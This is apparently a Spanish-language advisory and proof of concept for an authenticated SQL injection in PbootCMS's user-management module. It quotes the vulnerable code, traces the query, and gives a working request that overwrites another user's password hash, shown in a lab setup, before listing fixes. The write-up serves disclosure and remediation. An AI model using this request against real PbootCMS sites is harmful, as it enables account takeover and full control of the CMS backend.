
Prueba de concepto para CVE-2026-79387, una inyección SQL autenticada en la gestión de usuarios de PbootCMS que permite actualizaciones arbitrarias de campos y la toma de control de cuentas.
| Campo | Detalle |
|---|---|
| ID de CVE | CVE-2026-79387 |
| Producto | PbootCMS |
| Versiones afectadas | 3.2.0 – 3.2.5, y posiblemente anteriores |
| Tipo de vulnerabilidad | Inyección SQL (CWE-89) |
| Vector de ataque | Remoto (Autenticado) |
| Gravedad CVSS | Alta |
| Descubridor | JiahaoLi |
| Proveedor | https://www.pbootcms.com/ |
Existe una vulnerabilidad de inyección SQL en el módulo de gestión de usuarios de PbootCMS V3.2.5. La vulnerabilidad reside en el método mod() de /apps/admin/controller/system/UserController.php (línea 149) y en el método modUser() de /apps/admin/model/system/UserModel.php.
El parámetro field es totalmente controlado por el usuario a través de una solicitud GET sin ninguna validación de lista blanca. El parámetro value es igualmente controlado por el usuario y se concatena directamente en la sentencia SQL UPDATE. Un atacante autenticado puede especificar cualquier columna de la base de datos como field (por ejemplo, password, username, status, role), lo que permite la manipulación arbitraria de datos.
// UserController.php - mod() method
if (($field = get('field', 'var')) && ! is_null($value = get('value', 'var'))) {
if ($this->model->modUser($ucode, "$field='$value',update_user='" . session('username') . "'")) {
location(- 1);
}
}
$field y $value se toman directamente del superglobal $_GET y se concatenan en una cadena SQL sin sanitización, sin lista blanca y sin consulta parametrizada. Esta cadena se pasa luego a UserModel::modUser(), que la reenvía al método base Model::update(). Dado que el argumento es una cadena (no un array), evita la validación de nombres de campo de checkKey() y se incrusta literalmente en la cláusula SET:
UPDATE ay_user SET <user-controlled>= '<user-controlled>', update_user='admin' WHERE ucode='<ucode>'
GET /admin.php?p=/User/mod&ucode=10002&field=password&value=<MD5>
→ UserController::mod()
→ UserModel::modUser($ucode, "password='<value>',update_user='admin'")
→ Model::table('ay_user')->where("ucode='$ucode'")->update($data_string)
→ SQL: UPDATE ay_user SET password='<value>',update_user='admin' WHERE ucode='10002'
Un atacante autenticado puede:
ucode=10001).value permite el escape de comillas simples, lo que potencialmente habilita ataques apilados o basados en tautologías.Esto conduce a la toma de control de cuentas y al control total del backend del CMS.
192.168.1.104, Apache/PHP 7.2.1/SQLite)Acceda al panel de administración de PbootCMS e inicie sesión con la cuenta predeterminada admin.

Navegue a System Management → User Management → Add User. Cree un nuevo usuario:
admin2admin
La lista de usuarios confirma admin2 con ucode=10002:

Abra una nueva ventana del navegador. Intente iniciar sesión como admin2 con la contraseña 123456 — esto falla porque la contraseña real es admin:

Usando el navegador del administrador que ya tiene sesión iniciada, navegue a:
http://192.168.1.104/PbootCMS/admin.php?p=/User/mod&ucode=10002&field=password&value=14e1b600b1fd579f47433b88e8d85291
14e1b600b1fd579f47433b88e8d85291es el hash MD5 de123456.
El método mod() ejecuta la inyección y redirige mediante location(-1):

Ahora intenta iniciar sesión con admin2 / 123456:

La contraseña se ha cambiado correctamente mediante inyección SQL. El usuario ahora ha iniciado sesión con la nueva contraseña, lo que confirma la toma de control total de la cuenta.

Cuando update() recibe un argumento de tipo string, este se utiliza tal cual en la cláusula SET sin ningún tipo de escape:
final public function update($data = null)
{
if (is_array($data)) {
// Array path: checkKey() validates field names
...
} else {
// String path: NO VALIDATION AT ALL
$update_string = $data;
}
$this->sql['value'] = $update_string;
$sql = $this->buildSql($this->updateSql);
return $this->getDb()->amd($sql); // Direct execution, no prepared statement
}
field — permitir únicamente nombres de columna conocidos (status, username, realname, password).$value para evitar la ruptura de comillas.field es password, aplicar encrypt_string() al valor antes de almacenarlo.mod() debería requerir un token CSRF válido y una comprobación de autorización por nivel de rol.